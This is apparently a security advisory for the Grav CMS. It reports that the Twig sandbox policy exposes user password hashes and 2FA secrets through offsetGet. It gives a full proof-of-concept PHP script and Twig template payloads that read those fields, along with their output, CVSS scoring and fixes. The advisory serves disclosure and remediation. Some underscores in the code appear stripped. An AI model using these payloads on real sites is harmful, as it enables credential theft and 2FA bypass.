GHSA-3jhr-mxmx-38cx: High severity composer/getgrav/grav vulnerability
Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashedpassword, secret (2FA seed), and twofasecret directly, bypassing the redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
php / {@inheritdoc} Override to filter out sensitive fields like password hashes / public function jsonSerialize(): array { $items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend unset($items['hashedpassword']); unset($items['secret']); // 2FA secret unset($items['twofasecret']); // Alternative 2FA field name
return $items; }
public function offsetGet($offset) { $value = parent::offsetGet($offset); // only special-cases 'authorized', nothing else -- no redaction return $value; }
system/config/security.yaml:
yaml - class: 'Grav\Common\User\Interfaces\UserInterface' methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.
Environment setup:
bash git clone https://github.com/getgrav/grav.git cd grav apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
livesandboxrendertest.php:
php <?php require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml; use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Grav\Common\Twig\Sandbox\GravSecurityPolicy; use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml'); $sandboxCfg = $securityYaml['twigsandbox'];
function rowsToMap(array $rows): array { $out = []; foreach ($rows as $row) { $out[$row['class']] = arraymap('strtolower', arraymap('trim', explode(',', $row['methods']))); } return $out; }
$policy = new GravSecurityPolicy( $sandboxCfg['allowedtags'], $sandboxCfg['allowedfilters'], rowsToMap($sandboxCfg['allowedmethods']), rowsToMap($sandboxCfg['allowedproperties']), $sandboxCfg['allowedfunctions'] ); $sandbox = new SandboxExtension($policy, true);
$user = new User([ 'username' => 'admin', 'hashedpassword' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX', 'secret' => 'JBSWY3DPEHPK3PXP', 'twofasecret' => 'ALT2FASECRETVALUE9999', ]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void { $twig = new Environment(new ArrayLoader(['@Page:test' => $template])); $twig->addExtension($sandbox); try { echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "$label => BLOCKED: " . $e->getMessage() . "\n"; } }
tryRender('hashedpassword via offsetGet()', "{{ user.offsetGet('hashedpassword') }}", $sandbox, $user); tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user); tryRender('twofasecret via offsetGet()', "{{ user.offsetGet('twofasecret') }}", $sandbox, $user); tryRender('twofasecret via subscript', "{{ user['twofasecret'] }}", $sandbox, $user); tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);
Run: php livesandboxrendertest.php
Output:
hashedpassword via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX secret via offsetGet() => JBSWY3DPEHPK3PXP twofasecret via offsetGet() => ALT2FASECRETVALUE9999 twofasecret via subscript => BLOCKED: Calling "twofasecret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1. control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.
Precise nuance for the fix
Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowedmethods, versus checkPropertyAllowed against allowedproperties. The subscript form is already correctly blocked, since UserInterface has no allowedproperties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowedmethods.
Scope, stated honestly
I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twigvars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.
Impact
Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.
Suggested fix
Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashedpassword and secret/twofasecret.
The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashedpassword/secret/twofasecret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.
Affected component
- system/config/security.yaml, twigsandbox.allowedmethods entry for Grav\Common\User\Interfaces\UserInterface - system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)
Ecosystem: Composer Package name: getgrav/grav Affected versions: current 2.0.15 dev tree (bounded by whenever UserInterface was first added to allowedmethods in security.yaml — worth checking git log -p on that file if you want an exact lower bound before submitting) Patched versions: leave blank
Severity / CVSS v3.1 vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.
CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/getgrav/gravto a version that resolves this vulnerability.Fixed in 2.0.16
Event History
Frequently Asked Questions
Does Grav's normal user-data redaction prevent exposure through this path?
No. The User class removes hashed_password, secret, and twofa_secret when serializing to JSON, but its offsetGet() method returns fields without applying that redaction.
What conditions are required for exploitation?
A sandboxed Twig template must have access to a Grav User object. The sandbox policy permits offsetget and offsetexists on the UserInterface, allowing the template to request fields through the concrete DataUser User implementation.
Are all UserInterface implementations necessarily affected?
The evidence specifically identifies Grav\Common\User\DataUser\User. Its offsetGet() implementation does not filter sensitive fields, despite the sandbox policy applying to Grav\Common\User\Interfaces\UserInterface.